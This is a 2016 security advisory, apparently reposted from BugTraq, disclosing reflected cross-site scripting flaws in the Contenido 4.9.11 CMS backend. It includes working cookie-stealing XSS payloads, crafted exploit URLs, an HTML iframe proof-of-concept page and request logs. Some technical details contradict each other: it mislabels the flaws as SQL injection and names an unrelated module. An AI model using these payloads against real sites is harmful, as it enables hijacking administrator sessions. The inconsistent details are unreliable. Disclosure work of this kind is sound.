BugTraq
Contenido v4.9.11 CMS - (Backend) Multiple XSS Vulnerabilities Oct 11 2016 12:56PM
admin (at) evolution-sec (dot) com [email concealed] (admin evolution-sec com)
Document Title:
===============
Contenido v4.9.11 - (Backend) Multiple XSS Vulnerabilities

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1928

Release Date:
=============
2016-10-10

Vulnerability Laboratory ID (VL-ID):
====================================
1928

Common Vulnerability Scoring System:
====================================
3.7

Product & Service Introduction:
===============================
The German-language open source web content management system for (multilingual) platforms and portals. Individual adjustments, new functions and
seamless integration into complex IT systems in the company are readily realizable. Integrated communication via different channels, automatically
manage content and represent optimal - even for mobile devices like tablets or smartphones

(copy of the Vendor Homepage: http://www.contenido.org/ )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client-side cross site scripting vulnerabilities in the Contenido v4.9.11 content management system.

Vulnerability Disclosure Timeline:
==================================
2016-10-10: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Four for Business AG
Product: Contenido - Content Management System (Web-Application) 4.9.11

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
Multiple client-side cross site vulnerabilities has been discovered in the official Contenido v4.9.11 content management system component.
The non-persistent cross site vulnerability allows remote attackers to inject own malicious script code to client-side web-application requests.

The sql-injection vulnerabilities are located in the `filter`, `action`, `year`, `subject` and `idtpl` parameters of the `main.php` backend file.
The request method to inject malicious script code is GET and the attack vector is located to the client-side of the web-application. Attackers are
able to trigger the payload in client-side requests to compromise session credentials of administrators, moderators or other user accounts.

The security risk of the client-side xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the non-persistent cross site scripting web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] com_adagency

Vulnerable File(s):
[+] main.php

Vulnerable Parameter(s):
[+] filter
[+] action
[+] year
[+] subject
[+] idtpl

Proof of Concept (PoC):
=======================
The client-side xss web vulnerabilities can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Payload
"><iframe src="evil.source" onload=alert(document.cookie) <div style="1
"><iframe src="evil.source" onload=alert(document.domain) <div style="1

PoC: Exploitatation (main.php - filter, year, action, subject and idtpl)
http://contenido.localhost:8080/contenido/main.php
?&contenido=1&elemperpage=25&sortby=username&sortorder=asc&restrictgroup
=--all--
&filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20
%3C%3E%20%3Ciframe%3E&searchin=
--all--&page=1&area=frontend&frame=1&view=img_user&actionrow=undefined&f
ilterrow=undefined&page=1

http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idc
at=&contenido=
3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&displaytype=top20&show
Year=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3
C

http://contenido.localhost:8080/contenido/main.php?contenido=
3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=%3E%3E%22%3C%3C%3Ciframe%20src=a
%20onload=alert(document.cookie)%20%3C&frame=4&area=content_allocation&s
tep=add&parentid=1

http://contenido.localhost:8080/contenido/main.php
?subject=%3E%22%3Ciframe%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame
=1&itemtype=idmod&itemid=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s61
8

http://contenido.localhost:8080/contenido/main.php
?area=tpl_edit&action=tpl_duplicate&idtpl=%3Ciframe%3E%3E%22%3Ciframe%20
src=a%20onload=alert(document.cookie)%20%3C8&frame=4&contenido=3lpgep5s8
tsvcsm7ppctcr5ofaf9s618

PoC: Exploit
<html>
<head><body>
<title>POC: Client Side Cross Site Scripting (main.php)</title>
<iframe=http://contenido.localhost:8080/contenido/main.php?&contenido=1&
elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--&
filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%
3C%3E%20%3Ciframe%3E&searchin=--all--&page=1&area=frontend&frame=1&
view=img_user&actionrow=undefined&filterrow=undefined&page=1>
<iframe=http://contenido.localhost:8080/contenido/main.php?area=stat&fra
me=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&

displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert
(document.cookie)%20%3C>
<iframe=http://contenido.localhost:8080/contenido/main.php?contenido=3lp
gep5s8tsvcsm7ppctcr5ofaf9s618&action=
%3E%3E%22%3C%3C%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&f
rame=4&area=content_allocation&step=add&parentid=1>
<iframe=http://contenido.localhost:8080/contenido/main.php?subject=%3E%2
2%3Ciframe%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame=1&itemtype=
idmod&itemid=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618>
<iframe=http://contenido.localhost:8080/contenido/main.php?area=tpl_edit
&action=tpl_duplicate&idtpl=%3Ciframe%3E%3E%22%3Ciframe%20src=
a%20onload=alert(document.cookie)%20%3C8&frame=4&contenido=3lpgep5s8tsvc
sm7ppctcr5ofaf9s618>
</body></head>
</html>

--- PoC Session Logs [GET] (idtpl) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?area=tpl_edit&action=
tpl_duplicate&idtpl=1%3E%22%3Ciframe%20src=a%20onload=alert(document.coo
kie)%20%3C8&frame=4&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[4962]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]

--- PoC Session Logs [GET] (filter) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?&contenido=1&elemperp
age=25&sortby=username&sortorder=asc&restrictgroup=--all--
&filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20
%3C%3E%20%3Ciframe%3E&searchin=--all--
&page=1&area=frontend&frame=1&view=img_user&actionrow=undefined&filterro
w=undefined&page=1
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]
-
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/x[MALICIOUS SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://contenido.localhost:8080/contenido/main.php?&contenido=1&
elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--&filte
r=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C%3E
%20%3Ciframe%3E&searchin=--all--&page=1&area=frontend&frame=1&view=img_u
ser&actionrow=undefined&filterrow=undefined&page=1]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Connection[Keep-Alive]
Content-Type[text/html; charset=iso-8859-1]

--- PoC Session Logs [GET] (year) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idc
at=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&displayt
ype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(documen
t.cookie)%20%3C Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]
-
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/a[MALICIOUS SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://contenido.localhost:8080/contenido/main.php?area=stat&fra
me=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&
displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert
(document.cookie)%20%3C]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Connection[Keep-Alive]
Content-Type[text/html; charset=iso-8859-1]

--- PoC Session Logs [GET] (action) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?contenido=3lpgep5s8ts
vcsm7ppctcr5ofaf9s618&action=%3E%22%3Ciframe%3E%3E%22%3Ciframe%3E%3Cifra
me%20src=a%3E&frame=4&area=content_allocation&step=add&parentid=1
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]

--- PoC Session Logs [GET] (subject) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?subject=%3E%22%3Cifra
me%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame=1&itemtype=idmod&item
id=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618
Mime Type[text/html]
Request Header:
Host[contenido.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.22 (Debian)]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]

PoC: Vulnerable Source (filter)
<tr>
<td>Suche nach</td>
<td><input id="m35" name="filter" value=""><"<iframe src=a onload=alert(document.cookie) <[CLIENT SIDE SCRIPT CODE EXECUTION!]> <iframe>" size="20" type="text" class="text_medium" /></td>
</tr>

PoC: Vulnerable Source (year)
<td valign="top">Jährlich Top 20 >"<iframe src="a" onload="alert(document.cookie)" <<="" td="">
<td valign="top" align="right"><form name="name"> <select class="text_medium" onchange="top10ActionYearly(this)">
<option value="top10" >Top 10</option> <option value="top20" selected>Top 20</option> <option value="top30" >Top 30</option>
<option value="all" >Alle</option> </select></form><form name="hiddenValues"><input type="hidden"
name="yearmonth" value=">"<iframe src=a onload=alert(document.cookie) <[CLIENT SIDE SCRIPT CODE EXECUTION!]"></form></td>
</tr>
</table>
<table class="generic" width="100%" cellspacing="0" cellpadding="2">
<tr>
<th style="padding-left:5px">Titel</th>
<th align="right">Hits</th>
</tr>
</table>
<script type="text/javascript">
function top10Action(selObj) {
var url = 'main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf
9s618';
var i = selObj.selectedIndex;
var sortkey = selObj.options[i].value;
window.location.href = url + '&action=stat_show&displaytype=' + sortkey + '&yearmonth=' + document.hiddenValues.yearmonth.value;
}
function top10ActionYearly(selObj) {
var url = 'main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf
9s618';
var i = selObj.selectedIndex;
var sortkey = selObj.options[i].value;
window.location.href = url + '&action=stat_show&displaytype=' + sortkey + '&showYear=1&year=' + document.hiddenValues.yearmonth.value;
}
</script>
</body>
</html>
</iframe></td>

PoC: Vulnerable Source (action)
<body class="page_generic page_content_allocation_edit" id="content_allocation_edit">
<div id="m1"><a href="main.php?action=>"<iframe>>"<iframe><iframe src=a>[CLIENT SIDE SCRIPT CODE EXECUTION!]&step=createRoot&frame=4&area=content_allocation
&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618"><img src="images/folder_new.gif" border="0" class="vAlignMiddle"><span class="tableElement">Neuen Baum erstellen</span></a></div>
<div id="m2"><table border="0" cellpadding="2" cellspacing="0" width="800" class="borderB3 nobordert noborderr">
<tr class="text_medium fett bgcE2">
<td width="600" class="textg_medium borderB3 noborderl noborderb">
Kategorie
</td>
<td width="200" class="textg_medium borderB3 noborderl noborderb">
Aktionen
</td>
</tr>

PoC: Vulnerable Source (subject)
<body class="page_generic page_todo_popup" id="todo_popup">
<form enctype="multipart/form-data" style="margin:0px" name="reminder" method="post" action="main.php">
<input id="m11" name="area" type="hidden" value="todo" />
<input id="m12" name="frame" type="hidden" value="1" />
<input id="m13" name="action" type="hidden" value="todo_save_item" />
<input id="m14" name="itemtype" type="hidden" value="idmod" />
<input id="m15" name="itemid" type="hidden" value="16'" />
<input id="m16" name="contenido" type="hidden" value="3lpgep5s8tsvcsm7ppctcr5ofaf9s618" />
<table style="width: auto;" id="" class="generic" cellspacing="0" cellpadding="2">
<tr id="m17"><th id="m18" colspan="2" valign="top">ToDo-Eintrag erstellen</th></tr>
<tr class="1">
<td nowrap="nowrap" valign="top" style="white-space: nowrap;" width="1"><nobr>Betreff</nobr></td>
<td nowrap="nowrap" valign="top" align="left"><input id="m1" name="subject" value=">"<iframe src="x">[CLIENT SIDE SCRIPT CODE EXECUTION!]<iframe>" size="60" type="text" /></td>
</tr>
<tr class="2">
<td nowrap="nowrap" valign="top" style="white-space: nowrap;" width="1"><nobr>Beschreibung</nobr></td>
<td nowrap="nowrap" valign="top" align="left"><textarea id="m2" name="message" cols="50" rows="5"></textarea></td>
</tr>

PoC: Vulnerable Source (idtpl)
<tbody><tr id="m739"><th id="m740" colspan="2" valign="top">Vorlage bearbeiten</th></tr>
<tr class="1">
<td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Name</nobr></td>
<td align="left" nowrap="nowrap" valign="top"><input id="m2" name="tplname" value="standard" size="35" type="text"></td>
</tr>
<tr class="2">
<td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Beschreibung</nobr></td>
<td align="left" nowrap="nowrap" valign="top"><textarea id="m3" name="description" cols="50" rows="5"></textarea></td>
</tr>
<tr class="3">
<td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Standard</nobr></td>
<td align="left" nowrap="nowrap" valign="top"><input id="m4" name="vdefault" checked="checked" value="1" type="checkbox"></td>
</tr>
<tr class="4">
<td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Layout</nobr></td>
<td align="left" nowrap="nowrap" valign="top"><span style="margin: 5px 0 5px 0;">
<select id="{ID}" name="idlay" class="text_medium" onchange="tplform.changelayout.value=1;tplform.submit();">
<option value="0">--- kein ---</option>
<option value="1" selected="">standard</option>
<option value="2">start_page</option>
<option value="3">system</option>

</select>

Reference(s):
http://contenido.localhost:8080/
http://contenido.localhost:8080/contenido/
http://contenido.localhost:8080/contenido/main.php

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of all vulnerable marked parameters in the client-side GET method request.
Disallow the usage of special chars and filter the output context to prevent further client-side script code injection attacks.
Escape in case of emergency all entries to ensure those are secure processed by the validation mechanism of the cms.

Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the main.php backend file GET method requests are estimated as medium. (CVSS 3.7)

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.

Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]�

--
COMPANY: Evolution Security GmbH
LOCATION: Ludwig Erhard StraÃ?e 4 @ 34131 Kassel (Hessen) in Germany
REPRESENTATIVES: ADMINISTRATION

Phone: +49(0)561-40085396
Fax: +49(0)561-81024871
PGP: http://evolution-sec.com/admin (at) evolution-sec (dot) com [email concealed](0x921A7E4C).asc
DOMAIN: www.evolution-sec.com

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus